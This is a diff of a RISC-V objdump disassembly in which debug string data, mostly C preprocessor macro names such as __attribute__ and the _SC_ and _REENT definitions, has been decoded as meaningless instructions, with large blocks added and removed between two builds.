+    42d0:	205f 6f6c 676e      	0x676e6f6c205f
+    42d6:	6c20                	flw	fs0,88(s0)
+    42d8:	20676e6f          	jal	t3,7a4de <__stack_size+0x79cde>
+    42dc:	6e69                	lui	t3,0x1a
+    42de:	0074                	addi	a3,sp,12
+    42e0:	5f5f 6f6e 6e69      	0x6e696f6e5f5f
+    42e6:	696c                	flw	fa1,84(a0)
+    42e8:	656e                	flw	fa0,216(sp)
+    42ea:	5f20                	lw	s0,120(a4)
+    42ec:	615f 7474 6972      	0x69727474615f
+    42f2:	7562                	flw	fa0,56(sp)
+    42f4:	6574                	flw	fa3,76(a0)
+    42f6:	5f5f 2820 5f28      	0x5f2828205f5f
+    42fc:	6e5f 696f 6c6e      	0x6c6e696f6e5f
+    4302:	6e69                	lui	t3,0x1a
+    4304:	5f65                	li	t5,-7
+    4306:	295f 0029 5f53      	0x5f530029295f
+    430c:	5349                	li	t1,-14
+    430e:	4b434f53          	0x4b434f53
+    4312:	6d28                	flw	fa0,88(a0)
+    4314:	2029                	jal	431e <__stack_size+0x3b1e>
+    4316:	2828                	fld	fa0,80(s0)
+    4318:	6d28                	flw	fa0,88(a0)
+    431a:	2629                	jal	4624 <__stack_size+0x3e24>
+    431c:	495f 4d46 2954      	0x29544d46495f
+    4322:	3d20                	fld	fs0,120(a0)
+    4324:	203d                	jal	4352 <__stack_size+0x3b52>
+    4326:	495f 5346 434f      	0x434f5346495f
+    432c:	5f00294b          	fnmsub.q	fs2,ft0,fa6,fa1,rdn
+    4330:	615f 7474 6972      	0x69727474615f
+    4336:	7562                	flw	fa0,56(sp)
+    4338:	6574                	flw	fa3,76(a0)
+    433a:	705f 7275 5f65      	0x5f657275705f
+    4340:	205f 5f00 4148      	0x41485f00205f
+    4346:	4556                	lw	a0,84(sp)
+    4348:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    434e:	4f44                	lw	s1,28(a4)
+    4350:	4255                	li	tp,21
+    4352:	454c                	lw	a1,12(a0)
+    4354:	3120                	fld	fs0,96(a0)
+    4356:	5f00                	lw	s0,56(a4)
+    4358:	495f 544e 4c5f      	0x4c5f544e495f
+    435e:	4145                	li	sp,17
+    4360:	34365453          	0x34365453
+    4364:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    436a:	3020                	fld	fs0,96(s0)
+    436c:	3778                	fld	fa4,232(a4)
+    436e:	6666                	flw	fa2,88(sp)
+    4370:	6666                	flw	fa2,88(sp)
+    4372:	6666                	flw	fa2,88(sp)
+    4374:	6666                	flw	fa2,88(sp)
+    4376:	6666                	flw	fa2,88(sp)
+    4378:	6666                	flw	fa2,88(sp)
+    437a:	6666                	flw	fa2,88(sp)
+    437c:	4c66                	lw	s8,88(sp)
+    437e:	004c                	addi	a1,sp,4
+    4380:	535f 5f43 4f58      	0x4f585f43535f
+    4386:	4550                	lw	a2,12(a0)
+    4388:	5f4e                	lw	t5,240(sp)
+    438a:	50595243          	fmadd.s	ft4,fs2,ft5,fa0,unknown
+    438e:	2054                	fld	fa3,128(s0)
+    4390:	3639                	jal	3e9e <__stack_size+0x369e>
+    4392:	6100                	flw	fs0,0(a0)
+    4394:	6c6c                	flw	fa1,92(s0)
+    4396:	2861636f          	jal	t1,1a61c <__stack_size+0x19e1c>
+    439a:	657a6973          	csrrsi	s2,0x657,20
+    439e:	2029                	jal	43a8 <__stack_size+0x3ba8>
+    43a0:	5f5f 7562 6c69      	0x6c6975625f5f
+    43a6:	6974                	flw	fa3,84(a0)
+    43a8:	5f6e                	lw	t5,248(sp)
+    43aa:	6c61                	lui	s8,0x18
+    43ac:	6f6c                	flw	fa1,92(a4)
+    43ae:	73286163          	bltu	a6,s2,4ad0 <__stack_size+0x42d0>
+    43b2:	7a69                	lui	s4,0xffffa
+    43b4:	2965                	jal	486c <__stack_size+0x406c>
+    43b6:	5f00                	lw	s0,56(a4)
+    43b8:	555f 4e49 3354      	0x33544e49555f
+    43be:	5f32                	lw	t5,44(sp)
+    43c0:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    43c4:	6320                	flw	fs0,64(a4)
+    43c6:	2320                	fld	fs0,64(a4)
+    43c8:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
+    43cc:	5f00                	lw	s0,56(a4)
+    43ce:	575f 4e49 5f54      	0x5f544e49575f
+    43d4:	54444957          	0x54444957
+    43d8:	5f48                	lw	a0,60(a4)
+    43da:	205f 3233 5500      	0x55003233205f
+    43e0:	4e49                	li	t3,18
+    43e2:	3354                	fld	fa3,160(a4)
+    43e4:	5f32                	lw	t5,44(sp)
+    43e6:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    43ea:	5f20                	lw	s0,120(a4)
+    43ec:	555f 4e49 3354      	0x33544e49555f
+    43f2:	5f32                	lw	t5,44(sp)
+    43f4:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    43f8:	4600                	lw	s0,8(a2)
+    43fa:	535f 5445 574f      	0x574f5445535f
+    4400:	204e                	fld	ft0,208(sp)
+    4402:	0036                	c.slli	zero,0xd
+    4404:	435f 4f4c 4b43      	0x4b434f4c435f
+    440a:	4449                	li	s0,18
+    440c:	545f 205f 6e75      	0x6e75205f545f
+    4412:	6e676973          	csrrsi	s2,0x6e6,14
+    4416:	6465                	lui	s0,0x19
+    4418:	6c20                	flw	fs0,88(s0)
+    441a:	00676e6f          	jal	t3,7a420 <__stack_size+0x79c20>
+    441e:	5f5f 6573 7463      	0x746365735f5f
+    4424:	6f69                	lui	t5,0x1a
+    4426:	286e                	fld	fa6,216(sp)
+    4428:	2978                	fld	fa4,208(a0)
+    442a:	5f20                	lw	s0,120(a4)
+    442c:	615f 7474 6972      	0x69727474615f
+    4432:	7562                	flw	fa0,56(sp)
+    4434:	6574                	flw	fa3,76(a0)
+    4436:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    443c:	74636573          	csrrsi	a0,0x746,6
+    4440:	6f69                	lui	t5,0x1a
+    4442:	5f6e                	lw	t5,248(sp)
+    4444:	285f 2978 2929      	0x29292978285f
+    444a:	5f00                	lw	s0,56(a4)
+    444c:	4e46                	lw	t3,80(sp)
+    444e:	5454434f          	0x5454434f
     4452:	2059                	jal	44d8 <__stack_size+0x3cd8>
     4454:	7830                	flw	fa2,112(s0)
-    4456:	3032                	fld	ft0,296(sp)
+    4456:	3038                	fld	fa4,96(s0)
     4458:	3030                	fld	fa2,96(s0)
-    445a:	3030                	fld	fa2,96(s0)
-    445c:	5f00                	lw	s0,56(a4)
-    445e:	4e5f 4c55 414c      	0x414c4c554e5f
-    4464:	4942                	lw	s2,16(sp)
-    4466:	494c                	lw	a1,20(a0)
-    4468:	5954                	lw	a3,52(a0)
-    446a:	505f 4152 4d47      	0x4d474152505f
-    4470:	5f41                	li	t5,-16
-    4472:	4f50                	lw	a2,28(a4)
-    4474:	2050                	fld	fa2,128(s0)
-    4476:	5f00                	lw	s0,56(a4)
-    4478:	454e                	lw	a0,208(sp)
-    447a:	42494c57          	0x42494c57
-    447e:	565f 5245 4953      	0x49535245565f
-    4484:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
-    4488:	5f5f 3120 5000      	0x500031205f5f
-    448e:	435f4d57          	0x435f4d57
-    4492:	544e554f          	0x544e554f
-    4496:	3020                	fld	fs0,96(s0)
-    4498:	3078                	fld	fa4,224(s0)
-    449a:	0038                	addi	a4,sp,8
-    449c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    44a0:	495f 504e 5455      	0x5455504e495f
-    44a6:	565f 4c41 3020      	0x30204c41565f
-    44ac:	3078                	fld	fa4,224(s0)
-    44ae:	0030                	addi	a2,sp,8
-    44b0:	5f5f 656e 6465      	0x6465656e5f5f
-    44b6:	775f 6e69 5f74      	0x5f746e69775f
-    44bc:	0074                	addi	a3,sp,12
-    44be:	535f 5f43 5845      	0x58455f43535f
-    44c4:	5250                	lw	a2,36(a2)
-    44c6:	4e5f 5345 5f54      	0x5f5453454e5f
-    44cc:	414d                	li	sp,19
-    44ce:	2058                	fld	fa4,128(s0)
-    44d0:	3436                	fld	fs0,360(sp)
-    44d2:	5f00                	lw	s0,56(a4)
-    44d4:	415f 4f54 494d      	0x494d4f54415f
-    44da:	45525f43          	0x45525f43
-    44de:	414c                	lw	a1,4(a0)
-    44e0:	4558                	lw	a4,12(a0)
-    44e2:	2044                	fld	fs1,128(s0)
-    44e4:	0030                	addi	a2,sp,8
-    44e6:	535f 5f43 3656      	0x36565f43535f
-    44ec:	4c5f 4250 4749      	0x474942504c5f
-    44f2:	4f5f 4646 4942      	0x494246464f5f
-    44f8:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
-    44fc:	37565f43          	fmadd.q	ft10,fa2,fs5,ft6,unknown
-    4500:	4c5f 4250 4749      	0x474942504c5f
-    4506:	4f5f 4646 4942      	0x494246464f5f
-    450c:	535f0047          	fmsub.d	ft0,ft10,fs5,fa0,rne
-    4510:	59535f43          	fmadd.s	ft10,ft6,fs5,fa1,unknown
-    4514:	4c4d                	li	s8,19
-    4516:	5f504f4f          	fnmadd.q	ft10,ft0,fs5,fa1,rmm
-    451a:	414d                	li	sp,19
-    451c:	2058                	fld	fa4,128(s0)
-    451e:	53003937          	lui	s2,0x53003
-    4522:	495f 4753 4449      	0x44494753495f
-    4528:	3020                	fld	fs0,96(s0)
-    452a:	3030                	fld	fa2,96(s0)
-    452c:	3032                	fld	ft0,296(sp)
-    452e:	3030                	fld	fa2,96(s0)
-    4530:	5f00                	lw	s0,56(a4)
-    4532:	5f535953          	0x5f535953
-    4536:	545f 4d49 5645      	0x56454d49545f
-    453c:	4c41                	li	s8,16
-    453e:	485f 205f 5300      	0x5300205f485f
-    4544:	44454843          	0x44454843
-    4548:	4f5f 4854 5245      	0x524548544f5f
-    454e:	3020                	fld	fs0,96(s0)
-    4550:	5f00                	lw	s0,56(a4)
-    4552:	4f49                	li	t5,18
-    4554:	424e                	lw	tp,208(sp)
-    4556:	2046                	fld	ft0,80(sp)
-    4558:	0032                	c.slli	zero,0xc
-    455a:	5f5f 424f 4f53      	0x4f53424f5f5f
-    4560:	454c                	lw	a1,12(a0)
-    4562:	4554                	lw	a3,12(a0)
-    4564:	4d5f 5441 5f48      	0x5f4854414d5f
-    456a:	4544                	lw	s1,12(a0)
-    456c:	4146                	lw	sp,80(sp)
-    456e:	4c55                	li	s8,21
-    4570:	2054                	fld	fa3,128(s0)
-    4572:	0031                	c.nop	12
-    4574:	5f5f 4f50 4953      	0x49534f505f5f
-    457a:	5f58                	lw	a4,60(a4)
-    457c:	4956                	lw	s2,84(sp)
-    457e:	4c424953          	0x4c424953
-    4582:	2045                	jal	4622 <__stack_size+0x3e22>
-    4584:	3032                	fld	ft0,296(sp)
-    4586:	3830                	fld	fa2,112(s0)
-    4588:	3930                	fld	fa2,112(a0)
-    458a:	5f00                	lw	s0,56(a4)
-    458c:	4e5f 5745 494c      	0x494c57454e5f
-    4592:	5f42                	lw	t5,48(sp)
-    4594:	205f 0033 535f      	0x535f0033205f
-    459a:	52545f43          	fmadd.d	ft10,fs0,ft5,fa0,unknown
-    459e:	4341                	li	t1,16
-    45a0:	2045                	jal	4640 <__stack_size+0x3e40>
-    45a2:	3338                	fld	fa4,96(a4)
-    45a4:	5f00                	lw	s0,56(a4)
-    45a6:	725f 7465 7275      	0x72757465725f
-    45ac:	736e                	flw	ft6,248(sp)
-    45ae:	745f 6977 6563      	0x65636977745f
-    45b4:	5f20                	lw	s0,120(a4)
-    45b6:	615f 7474 6972      	0x69727474615f
-    45bc:	7562                	flw	fa0,56(sp)
-    45be:	6574                	flw	fa3,76(a0)
-    45c0:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    45c6:	6572                	flw	fa0,28(sp)
-    45c8:	7574                	flw	fa3,108(a0)
-    45ca:	6e72                	flw	ft8,28(sp)
-    45cc:	77745f73          	csrrwi	t5,0x777,8
-    45d0:	6369                	lui	t1,0x1a
-    45d2:	5f65                	li	t5,-7
-    45d4:	295f 0029 5f5f      	0x5f5f0029295f
-    45da:	4244                	lw	s1,4(a2)
-    45dc:	5f4c                	lw	a1,60(a4)
-    45de:	4544                	lw	s1,12(a0)
-    45e0:	4f4e                	lw	t5,208(sp)
-    45e2:	4d52                	lw	s10,20(sp)
-    45e4:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    45ea:	2820                	fld	fs0,80(s0)
-    45ec:	6428                	flw	fa0,72(s0)
-    45ee:	6c62756f          	jal	a0,2bcb4 <__stack_size+0x2b4b4>
-    45f2:	2965                	jal	4aaa <__stack_size+0x42aa>
-    45f4:	2e34                	fld	fa3,88(a2)
-    45f6:	3439                	jal	4004 <__stack_size+0x3804>
-    45f8:	3630                	fld	fa2,104(a2)
-    45fa:	3635                	jal	4126 <__stack_size+0x3926>
-    45fc:	3534                	fld	fa3,104(a0)
-    45fe:	3438                	fld	fa4,104(s0)
-    4600:	3231                	jal	3f0c <__stack_size+0x370c>
-    4602:	3634                	fld	fa3,104(a2)
-    4604:	3435                	jal	4030 <__stack_size+0x3830>
-    4606:	3134                	fld	fa3,96(a0)
-    4608:	36353637          	lui	a2,0x36353
-    460c:	3738                	fld	fa4,104(a4)
-    460e:	3239                	jal	3f1c <__stack_size+0x371c>
-    4610:	3638                	fld	fa4,104(a2)
-    4612:	3238                	fld	fa4,96(a2)
-    4614:	3132                	fld	ft2,296(sp)
-    4616:	65323733          	0x65323733
-    461a:	332d                	jal	4344 <__stack_size+0x3b44>
-    461c:	3432                	fld	fs0,296(sp)
-    461e:	294c                	fld	fa1,144(a0)
-    4620:	5f00                	lw	s0,56(a4)
-    4622:	525f4353          	0x525f4353
-    4626:	5f45                	li	t5,-15
-    4628:	5544                	lw	s1,44(a0)
-    462a:	5f50                	lw	a2,60(a4)
-    462c:	414d                	li	sp,19
-    462e:	2058                	fld	fa4,128(s0)
-    4630:	5f003337          	lui	t1,0x5f003
-    4634:	4552                	lw	a0,20(sp)
-    4636:	4e45                	li	t3,17
-    4638:	5f54                	lw	a3,60(a4)
-    463a:	504d                	c.li	zero,-13
-    463c:	525f 5345 4c55      	0x4c555345525f
-    4642:	2854                	fld	fa3,144(s0)
-    4644:	7470                	flw	fa2,108(s0)
-    4646:	2972                	fld	fs2,280(sp)
-    4648:	2820                	fld	fs0,80(s0)
-    464a:	7028                	flw	fa0,96(s0)
-    464c:	7274                	flw	fa3,100(a2)
-    464e:	2d29                	jal	4c68 <__stack_size+0x4468>
-    4650:	5f3e                	lw	t5,236(sp)
-    4652:	6572                	flw	fa0,28(sp)
-    4654:	746c7573          	csrrci	a0,0x746,24
-    4658:	0029                	c.nop	10
-    465a:	5f5f 4347 5f43      	0x5f4343475f5f
-    4660:	4549                	li	a0,18
-    4662:	35355f43          	0x35355f43
-    4666:	2039                	jal	4674 <__stack_size+0x3e74>
-    4668:	0030                	addi	a2,sp,8
-    466a:	5f5f 6974 656d      	0x656d69745f5f
-    4670:	745f 645f 6665      	0x6665645f745f
-    4676:	6e69                	lui	t3,0x1a
-    4678:	6465                	lui	s0,0x19
-    467a:	0020                	addi	s0,sp,8
-    467c:	525f 4545 544e      	0x544e4545525f
-    4682:	535f 4454 4f49      	0x4f494454535f
-    4688:	535f 5254 4145      	0x41455254535f
-    468e:	284d                	jal	4740 <__stack_size+0x3f40>
-    4690:	6176                	flw	ft2,92(sp)
-    4692:	2c72                	fld	fs8,280(sp)
-    4694:	6e69                	lui	t3,0x1a
-    4696:	6564                	flw	fs1,76(a0)
-    4698:	2978                	fld	fa4,208(a0)
-    469a:	2620                	fld	fs0,72(a2)
-    469c:	7628                	flw	fa0,104(a2)
-    469e:	7261                	lui	tp,0xffff8
-    46a0:	2d29                	jal	4cba <__stack_size+0x44ba>
-    46a2:	5f3e                	lw	t5,236(sp)
-    46a4:	735f 5b66 6e69      	0x6e695b66735f
-    46aa:	6564                	flw	fs1,76(a0)
-    46ac:	5d78                	lw	a4,124(a0)
-    46ae:	4300                	lw	s0,0(a4)
-    46b0:	4d5f5253          	0x4d5f5253
-    46b4:	4549                	li	a0,18
-    46b6:	3120                	fld	fs0,96(a0)
-    46b8:	4600                	lw	s0,8(a2)
-    46ba:	4f5f 204b 0030      	0x30204b4f5f
-    46c0:	494c                	lw	a1,20(a0)
-    46c2:	454e                	lw	a0,208(sp)
-    46c4:	4d5f 5841 3220      	0x322058414d5f
-    46ca:	3430                	fld	fa2,104(s0)
-    46cc:	0038                	addi	a4,sp,8
-    46ce:	5f5f 4946 454c      	0x454c49465f5f
-    46d4:	645f 6665 6e69      	0x6e696665645f
-    46da:	6465                	lui	s0,0x19
-    46dc:	0020                	addi	s0,sp,8
-    46de:	525f 4545 544e      	0x544e4545525f
-    46e4:	475f 5445 4144      	0x41445445475f
-    46ea:	4554                	lw	a3,12(a0)
-    46ec:	455f 5252 505f      	0x505f5252455f
-    46f2:	7028                	flw	fa0,96(s0)
-    46f4:	7274                	flw	fa3,100(a2)
-    46f6:	2029                	jal	4700 <__stack_size+0x3f00>
-    46f8:	2628                	fld	fa0,72(a2)
-    46fa:	2828                	fld	fa0,80(s0)
-    46fc:	7470                	flw	fa2,108(s0)
-    46fe:	2972                	fld	fs2,280(sp)
-    4700:	3e2d                	jal	423a <__stack_size+0x3a3a>
-    4702:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    4708:	6572                	flw	fa0,28(sp)
-    470a:	6e65                	lui	t3,0x19
-    470c:	2e74                	fld	fa3,216(a2)
-    470e:	675f 7465 6164      	0x61647465675f
-    4714:	6574                	flw	fa3,76(a0)
-    4716:	655f 7272 2929      	0x29297272655f
-    471c:	4f00                	lw	s0,24(a4)
-    471e:	445f 5249 4345      	0x43455249445f
-    4724:	2054                	fld	fa3,128(s0)
-    4726:	465f 4944 4552      	0x45524944465f
-    472c:	5f005443          	fmadd.q	fs0,ft0,fa6,fa1,unknown
-    4730:	4e45                	li	t3,17
-    4732:	5f44                	lw	s1,60(a4)
-    4734:	5f445453          	0x5f445453
-    4738:	5f002043          	fmadd.q	ft0,ft0,fa6,fa1,rdn
-    473c:	4955                	li	s2,21
-    473e:	544e                	lw	s0,240(sp)
-    4740:	5450                	lw	a2,44(s0)
-    4742:	5f52                	lw	t5,52(sp)
-    4744:	5f54                	lw	a3,60(a4)
-    4746:	4544                	lw	s1,12(a0)
-    4748:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    474c:	4445                	li	s0,17
-    474e:	0020                	addi	s0,sp,8
-    4750:	74727473          	csrrci	s0,0x747,4
-    4754:	006c756f          	jal	a0,cb75a <__stack_size+0xcaf5a>
-    4758:	4e5f 4c55 204c      	0x204c4c554e5f
-    475e:	0030                	addi	a2,sp,8
-    4760:	43415f4f          	fnmadd.d	ft10,ft2,fs4,fs0,unknown
-    4764:	444f4d43          	0x444f4d43
-    4768:	2045                	jal	4808 <__stack_size+0x4008>
-    476a:	4f28                	lw	a0,88(a4)
-    476c:	525f 4f44 4c4e      	0x4c4e4f44525f
-    4772:	7c59                	lui	s8,0xffff6
-    4774:	52575f4f          	fnmadd.d	ft10,fa4,ft5,fa0,unknown
-    4778:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
-    477c:	4f7c                	lw	a5,92(a4)
-    477e:	525f 5744 2952      	0x29525744525f
-    4784:	4c00                	lw	s0,24(s0)
-    4786:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    478a:	494d                	li	s2,19
-    478c:	204e                	fld	ft0,208(sp)
-    478e:	2d28                	fld	fa0,88(a0)
-    4790:	4f4c                	lw	a1,28(a4)
-    4792:	474e                	lw	a4,208(sp)
-    4794:	4d5f 5841 2d20      	0x2d2058414d5f
-    479a:	3120                	fld	fs0,96(a0)
-    479c:	294c                	fld	fa1,144(a0)
-    479e:	6d00                	flw	fs0,24(a0)
-    47a0:	7065                	c.lui	zero,0xffff9
-    47a2:	53430063          	beq	t1,s4,4cc2 <__stack_size+0x44c2>
-    47a6:	5f52                	lw	t5,52(sp)
-    47a8:	454d                	li	a0,19
-    47aa:	4350                	lw	a2,4(a4)
-    47ac:	3420                	fld	fs0,104(s0)
-    47ae:	5f00                	lw	s0,56(a4)
-    47b0:	705f 5f74 7567      	0x75675f74705f
-    47b6:	7261                	lui	tp,0xffff8
-    47b8:	6564                	flw	fs1,76(a0)
-    47ba:	5f64                	lw	s1,124(a4)
-    47bc:	7962                	flw	fs2,56(sp)
-    47be:	7828                	flw	fa0,112(s0)
-    47c0:	2029                	jal	47ca <__stack_size+0x3fca>
-    47c2:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    47c8:	615f 6e6e 746f      	0x746f6e6e615f
-    47ce:	7461                	lui	s0,0xffff8
-    47d0:	2865                	jal	4888 <__stack_size+0x4088>
-    47d2:	7470                	flw	fa2,108(s0)
-    47d4:	675f 6175 6472      	0x64726175675f
-    47da:	6465                	lui	s0,0x19
-    47dc:	625f 2879 2978      	0x29782879625f
-    47e2:	0029                	c.nop	10
-    47e4:	575f 4843 5241      	0x52414843575f
-    47ea:	545f 445f 4345      	0x4345445f545f
-    47f0:	414c                	lw	a1,4(a0)
-    47f2:	4552                	lw	a0,20(sp)
-    47f4:	2044                	fld	fs1,128(s0)
-    47f6:	5f00                	lw	s0,56(a4)
-    47f8:	615f 6c6c 636f      	0x636f6c6c615f
-    47fe:	735f 7a69 2865      	0x28657a69735f
-    4804:	2978                	fld	fa4,208(a0)
-    4806:	5f20                	lw	s0,120(a4)
-    4808:	615f 7474 6972      	0x69727474615f
-    480e:	7562                	flw	fa0,56(sp)
-    4810:	6574                	flw	fa3,76(a0)
-    4812:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    4818:	6c61                	lui	s8,0x18
-    481a:	6f6c                	flw	fa1,92(a4)
-    481c:	69735f63          	bge	t1,s7,4eba <__stack_size+0x46ba>
-    4820:	657a                	flw	fa0,156(sp)
-    4822:	5f5f 7828 2929      	0x292978285f5f
-    4828:	0029                	c.nop	10
-    482a:	525f 4545 544e      	0x544e4545525f
-    4830:	435f 4548 4b43      	0x4b434548435f
-    4836:	455f 454d 4752      	0x4752454d455f
-    483c:	4e45                	li	t3,17
-    483e:	70285943          	fmadd.s	fs2,fa6,ft2,fa4,unknown
-    4842:	7274                	flw	fa3,100(a2)
-    4844:	2029                	jal	484e <__stack_size+0x404e>
-    4846:	5f00                	lw	s0,56(a4)
-    4848:	4e55                	li	t3,21
-    484a:	5542                	lw	a0,48(sp)
-    484c:	5f46                	lw	t5,112(sp)
-    484e:	45525453          	0x45525453
-    4852:	4d41                	li	s10,16
-    4854:	4f5f 5450 3120      	0x312054504f5f
-    485a:	5f00                	lw	s0,56(a4)
-    485c:	735f 6d79 635f      	0x635f6d79735f
-    4862:	61706d6f          	jal	s10,b678 <__stack_size+0xae78>
-    4866:	2874                	fld	fa3,208(s0)
-    4868:	2c6d7973          	csrrci	s2,0x2c6,26
-    486c:	6d69                	lui	s10,0x1a
-    486e:	6c70                	flw	fa2,92(s0)
-    4870:	762c                	flw	fa1,104(a2)
-    4872:	7265                	lui	tp,0xffff9
-    4874:	6469                	lui	s0,0x1a
-    4876:	2029                	jal	4880 <__stack_size+0x4080>
-    4878:	5f5f 7361 5f6d      	0x5f6d73615f5f
-    487e:	285f 2e22 7973      	0x79732e22285f
-    4884:	766d                	lui	a2,0xffffb
-    4886:	7265                	lui	tp,0xffff9
-    4888:	2220                	fld	fs0,64(a2)
-    488a:	2320                	fld	fs0,64(a4)
-    488c:	6d69                	lui	s10,0x1a
-    488e:	6c70                	flw	fa2,92(s0)
-    4890:	2220                	fld	fs0,64(a2)
-    4892:	202c                	fld	fa1,64(s0)
-    4894:	2022                	fld	ft0,8(sp)
-    4896:	6d797323          	0x6d797323
-    489a:	2220                	fld	fs0,64(a2)
-    489c:	2240                	fld	fs0,128(a2)
-    489e:	2320                	fld	fs0,64(a4)
-    48a0:	6576                	flw	fa0,92(sp)
-    48a2:	6972                	flw	fs2,28(sp)
-    48a4:	2964                	fld	fs1,208(a0)
-    48a6:	5f00                	lw	s0,56(a4)
-    48a8:	495f 544e 4c5f      	0x4c5f544e495f
-    48ae:	4145                	li	sp,17
-    48b0:	5f385453          	0x5f385453
-    48b4:	54444957          	0x54444957
-    48b8:	5f48                	lw	a0,60(a4)
-    48ba:	205f 0038 5f5f      	0x5f5f0038205f
-    48c0:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    48c4:	5f5f 3120 0030      	0x3031205f5f
-    48ca:	45535f4f          	0x45535f4f
-    48ce:	5241                	li	tp,-16
-    48d0:	5f204843          	fmadd.q	fa6,ft0,fs2,fa1,rmm
-    48d4:	4546                	lw	a0,80(sp)
-    48d6:	4558                	lw	a4,12(a0)
-    48d8:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
-    48dc:	0048                	addi	a0,sp,4
-    48de:	5f5f 4e49 5f54      	0x5f544e495f5f
-    48e4:	4146                	lw	sp,80(sp)
-    48e6:	36315453          	0x36315453
-    48ea:	545f 5059 5f45      	0x5f455059545f
-    48f0:	205f 6e69 0074      	0x746e69205f
-    48f6:	53495f53          	0x53495f53
-    48fa:	4944                	lw	s1,20(a0)
-    48fc:	2852                	fld	fa6,272(sp)
-    48fe:	296d                	jal	4db8 <__stack_size+0x45b8>
-    4900:	2820                	fld	fs0,80(s0)
-    4902:	2828                	fld	fa0,80(s0)
-    4904:	296d                	jal	4dbe <__stack_size+0x45be>
-    4906:	5f26                	lw	t5,104(sp)
-    4908:	4649                	li	a2,18
-    490a:	544d                	li	s0,-13
-    490c:	2029                	jal	4916 <__stack_size+0x4116>
-    490e:	3d3d                	jal	474c <__stack_size+0x3f4c>
-    4910:	5f20                	lw	s0,120(a4)
-    4912:	4649                	li	a2,18
-    4914:	4944                	lw	s1,20(a0)
-    4916:	2952                	fld	fs2,272(sp)
-    4918:	5f00                	lw	s0,56(a4)
-    491a:	325f4353          	0x325f4353
-    491e:	435f 4148 5f52      	0x5f524148435f
-    4924:	4554                	lw	a3,12(a0)
-    4926:	4d52                	lw	s10,20(sp)
-    4928:	3120                	fld	fs0,96(a0)
-    492a:	3730                	fld	fa2,104(a4)
-    492c:	5f00                	lw	s0,56(a4)
-    492e:	325f4353          	0x325f4353
-    4932:	4c5f 434f 4c41      	0x4c41434f4c5f
-    4938:	4445                	li	s0,17
-    493a:	4645                	li	a2,17
-    493c:	3120                	fld	fs0,96(a0)
-    493e:	3231                	jal	424a <__stack_size+0x3a4a>
-    4940:	5f00                	lw	s0,56(a4)
-    4942:	495f 544e 4c5f      	0x4c5f544e495f
-    4948:	4145                	li	sp,17
-    494a:	32335453          	0x32335453
-    494e:	575f 4449 4854      	0x48544449575f
-    4954:	5f5f 3320 0032      	0x3233205f5f
-    495a:	414d                	li	sp,19
-    495c:	5f58                	lw	a4,60(a4)
-    495e:	4e49                	li	t3,18
-    4960:	5550                	lw	a2,44(a0)
-    4962:	2054                	fld	fa3,128(s0)
-    4964:	3532                	fld	fa0,296(sp)
-    4966:	0035                	c.nop	13
-    4968:	44525f4f          	0x44525f4f
-    496c:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
-    4970:	3020                	fld	fs0,96(s0)
-    4972:	5f00                	lw	s0,56(a4)
-    4974:	735f 6567 6374      	0x63746567735f
-    497a:	725f 7761 725f      	0x725f7761725f
-    4980:	5f28                	lw	a0,120(a4)
-    4982:	705f 7274 5f2c      	0x5f2c7274705f
-    4988:	665f 2029 2d28      	0x2d282029665f
-    498e:	282d                	jal	49c8 <__stack_size+0x41c8>
-    4990:	5f5f 2966 3e2d      	0x3e2d29665f5f
-    4996:	725f 3c20 3020      	0x30203c20725f
-    499c:	3f20                	fld	fs0,120(a4)
-    499e:	5f20                	lw	s0,120(a4)
-    49a0:	735f 6772 7465      	0x74656772735f
-    49a6:	725f 5f28 705f      	0x705f5f28725f
-    49ac:	7274                	flw	fa3,100(a2)
-    49ae:	202c                	fld	fa1,64(s0)
-    49b0:	5f5f 2966 3a20      	0x3a2029665f5f
-    49b6:	2820                	fld	fs0,80(s0)
-    49b8:	6e69                	lui	t3,0x1a
-    49ba:	2974                	fld	fa3,208(a0)
-    49bc:	2a28                	fld	fa0,80(a2)
-    49be:	5f28                	lw	a0,120(a4)
-    49c0:	665f 2d29 5f3e      	0x5f3e2d29665f
-    49c6:	2b70                	fld	fa2,208(a4)
-    49c8:	0029292b          	0x29292b
-    49cc:	425f 5459 5f45      	0x5f455459425f
-    49d2:	4544524f          	0x4544524f
-    49d6:	2052                	fld	ft0,272(sp)
-    49d8:	4c5f 5449 4c54      	0x4c5454494c5f
-    49de:	5f45                	li	t5,-15
-    49e0:	4e45                	li	t3,17
-    49e2:	4944                	lw	s1,20(a0)
-    49e4:	4e41                	li	t3,16
-    49e6:	5f00                	lw	s0,56(a4)
-    49e8:	465f 544c 3231      	0x3231544c465f
-    49ee:	5f38                	lw	a4,120(a4)
-    49f0:	4148                	lw	a0,4(a0)
-    49f2:	45445f53          	0x45445f53
-    49f6:	4f4e                	lw	t5,208(sp)
-    49f8:	4d52                	lw	s10,20(sp)
-    49fa:	5f5f 3120 4300      	0x430031205f5f
-    4a00:	544e554f          	0x544e554f
-    4a04:	5f00                	lw	s0,56(a4)
-    4a06:	535f 5a49 4f45      	0x4f455a49535f
-    4a0c:	5f46                	lw	t5,112(sp)
-    4a0e:	544e4957          	0x544e4957
-    4a12:	545f 5f5f 3420      	0x34205f5f545f
-    4a18:	4700                	lw	s0,8(a4)
-    4a1a:	4950                	lw	a2,20(a0)
-    4a1c:	4f4c5f4f          	fnmadd.q	ft10,fs8,fs4,fs1,unknown
